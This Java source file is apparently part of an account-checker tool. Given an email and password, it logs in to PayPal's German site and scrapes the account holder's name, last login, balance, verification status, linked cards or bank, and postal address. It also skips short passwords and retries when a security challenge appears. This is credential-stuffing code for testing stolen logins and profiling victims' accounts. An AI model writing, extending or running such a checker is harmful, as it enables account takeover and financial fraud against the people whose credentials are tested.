package accs.model.paypal;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;

import accs.model.AccountChecker;
import accs.model.Context;
import accs.model.ExtendedHttpClient;
import accs.model.utils.HeaderUtils;
import accs.model.utils.HtmlFormInputCollector;

public class PayPalChecker implements AccountChecker {
	
	private static final Pattern NAME_PATTERN = Pattern.compile(".*, (.*)");
	private static final Pattern LAST_LOGIN_PATTERN = Pattern.compile("(.* [0-9]+\\. [A-Z]+.* [0-9]+ [0-9]+:[0-9]+ [A-Z]+)");
	private static final Pattern AMOUNT_PATTERN = Pattern.compile("<strong>(.*)</strong>");
	private static final Pattern KONTOTYPE_PATTERN = Pattern.compile("(.*)");
	private static final Pattern ADRESS_PATTERN = Pattern.compile("<span class=\"emphasis\">(.*)<br>(.*)<br>(.*)<br>(.*)<br></span>");
	
	
	public PayPalChecker() {
	}
	
	public PayPalAccount login(String mail, String password, Context ctx) throws ClientProtocolException, IOException{
		if(password.length() < 8){
			return null;
		}else{
		
		int login_access = (int) (System.currentTimeMillis()/1000);
//		System.out.println("login_access="+login_access);
		
		DefaultHttpClient httpclient=new ExtendedHttpClient(ctx);
		
		HttpGet get=new HttpGet("https://www.paypal.com/de/webapps/mpp/home");
		get.setHeader(HeaderUtils.getUserAgent());
		HttpResponse resp=httpclient.execute(get);
		
		List<String> whitelist=new ArrayList<String>(Arrays.asList(new String[]{"bp_ks1","bp_ks2","bp_ks2","bp_mid","browser_name","browser_version","browser_version_full","csrfModel.returnedCsrf","operating_system","submit.x"}));
		List<NameValuePair> list=HtmlFormInputCollector.collectInputs(new InputStreamReader(resp.getEntity().getContent(),"utf-8"),whitelist);
//		for(NameValuePair bla : list) {
//			System.out.println(bla.getName()+" -> "+bla.getValue());
//		}
		
		HttpPost post=new HttpPost("https://www.paypal.com/de/cgi-bin/webscr?cmd=_login-submit");
		post.setHeader(HeaderUtils.getUserAgent());
		post.setHeader(HeaderUtils.getReferer("https://www.paypal.com/de/webapps/mpp/home"));
		
		list.add(new BasicNameValuePair("login_email",mail));
		list.add(new BasicNameValuePair("login_password",password));
		post.setEntity(new UrlEncodedFormEntity(list,"UTF-8"));
		
		HttpResponse resp2=httpclient.execute(post);
//		String location=resp2.getFirstHeader("Location").getValue();
		EntityUtils.consume(resp2.getEntity());
//		System.out.println(EntityUtils.toString(resp2.getEntity()));
//     	System.out.println("---------------------------------------------------------------");
		
		HttpGet get2=new HttpGet("https://www.paypal.com/de/cgi-bin/webscr?cmd=_login-processing&login_cmd=_login-done&login_access="+login_access);
		get2.setHeader(HeaderUtils.getUserAgent());
		get2.setHeader(HeaderUtils.getReferer("https://www.paypal.com/de/webapps/mpp/home"));
		HttpResponse resp3=httpclient.execute(get2);
		EntityUtils.consume(resp3.getEntity());
//		System.out.println(EntityUtils.toString(resp3.getEntity()));
		
		HttpGet get3=new HttpGet("https://www.paypal.com/de/cgi-bin/webscr?cmd=_login-done&login_access="+login_access);
		get3.setHeader(HeaderUtils.getUserAgent());
		get3.setHeader(HeaderUtils.getReferer("https://www.paypal.com/de/cgi-bin/webscr?cmd=_login-processing&login_cmd=_login-done&login_access="+login_access));
		HttpResponse resp4=httpclient.execute(get3);
//		EntityUtils.consume(resp4.getEntity());
//		System.out.println(EntityUtils.toString(resp4.getEntity()));
		BufferedReader br=new BufferedReader(new InputStreamReader(resp4.getEntity().getContent(),"utf-8"));
		String line=null;
		
		boolean google = false;
		int linenumber = 0;
		String name = "";
		String last_login = "";
		String amount = "";
		Status status = Status.NOT_VERIFIED;
		boolean stat = false;
		String kontotyp = "";
		String sonstiges = " ";
		boolean valid = true;
		while((line=br.readLine())!=null) {
			line=line.trim(); //System.out.println(line);
			linenumber++;
			
			if(line.equals("<!--googleoff: all-->")){
				google = true;
			}
			
			else if(line.equals("<!--googleon: all-->")){
				google = false;
			}
			
			else if(google){
				Matcher m=null;
				if((m=NAME_PATTERN.matcher(line)).find()){
					name=m.group(1);
				}
				else if((m=LAST_LOGIN_PATTERN.matcher(line)).find()){
					last_login=m.group(1);
				}
				else if((m=AMOUNT_PATTERN.matcher(line)).find()){
					amount=m.group(1);
				}
				else if((m=KONTOTYPE_PATTERN.matcher(line)).find()){
					kontotyp=m.group(1);
				}
			}
			
			if(line.contains("get_verified")){
				stat=true;
			}
			
			if(line.contains("Security Challenge") || line.contains("Policy Consent")){
				valid = false;
				login(mail, password, ctx);
			}
			
			if(line.contains("Kontozugriff eingeschr\u00E4nkt") && sonstiges.contains("Kontozugriff eingeschr\u00E4nkt") == false){
				sonstiges += "Kontozugriff eingeschr\u00E4nkt ";
			}
			if(line.contains("Einloggen") || line.contains("Sign up")){
				valid=false;
			}
		}
		if(!stat){
			status=Status.VERIFIED;
		}
		
//		System.out.println(mail+" | "+password+" | "+name+" | "+last_login+" | "+amount+" | "+status+" | "+kontotyp+" | ");
		
		HttpGet get4=new HttpGet("https://www.paypal.com/cgi-bin/webscr?cmd=_profile-display-handler&tab_id=FINANCIAL_SETTINGS");
		get4.setHeader(HeaderUtils.getUserAgent());
		get4.setHeader(HeaderUtils.getReferer("	https://www.paypal.com/webapps/customerprofile/summary.view"));
		HttpResponse resp5=httpclient.execute(get4);
//		EntityUtils.consume(resp5.getEntity());
//		System.out.println(EntityUtils.toString(resp5.getEntity()));
		BufferedReader br2=new BufferedReader(new InputStreamReader(resp5.getEntity().getContent(),"utf-8"));
		String line2=null;		
		
		String karte = "";
		while((line2=br2.readLine())!=null) {
			line2=line2.trim(); 
//			System.out.println(line);
			linenumber++;
			
			if(line2.startsWith("</div><div id=\"messageBox\"></div><div id=\"main\">")){
//				System.out.println(line2);
				if(line2.contains("=1\">Karte hinzuf\u00FCgen") || line2.contains("=1\">Add card")){
					if(line2.contains("ach\">Bank hinzuf\u00FCgen") || line2.contains("ach\">Add bank")){
						karte = "none";
					}else{
						karte = "ELV";
					}
				}else{
					if(line2.contains("ach\">Bank hinzuf\u00FCgen") || line2.contains("ach\">Add bank")){
						karte = "CC";
					}else{
						karte = "CC+ELV";
					}
				}
				if(line2.contains("Giro")){
					karte += " Giro";
				}
			}
		}
		
		
//		https://www.paypal.com/de/cgi-bin/webscr?cmd=_profile-address
		HttpGet get5=new HttpGet("https://www.paypal.com/de/cgi-bin/webscr?cmd=_profile-address");
		get5.setHeader(HeaderUtils.getUserAgent());
		get5.setHeader(HeaderUtils.getReferer("	https://www.paypal.com/webapps/customerprofile/summary.view"));
		HttpResponse resp6=httpclient.execute(get5);
//		EntityUtils.consume(resp6.getEntity());
//		System.out.println(EntityUtils.toString(resp6.getEntity()));
		br2=null;
		br2=new BufferedReader(new InputStreamReader(resp6.getEntity().getContent(),"utf-8"));
		line2=null;		
		
		String adress = "";
		while((line2=br2.readLine())!=null) {
			if(line2.contains("<span class=\"emphasis\">")){
				Matcher m=null;
				if((m=ADRESS_PATTERN.matcher(line2)).find()){
					adress+=m.group(1)+" "+m.group(2)+" "+m.group(3)+" "+m.group(4);
				}
			}
		}
		
		if(valid){
		PayPalAccount pa = new PayPalAccount(mail, password, name, last_login, amount, status, kontotyp, karte, adress, sonstiges);
		return pa;	
		}
		else{
		return null;
		}
	}
	}

	public URL getImage() {
		return PayPalChecker.class.getResource("/accs/gui/img/paypal.png");
	}

	public String getName() {
		return "pp";
	}
}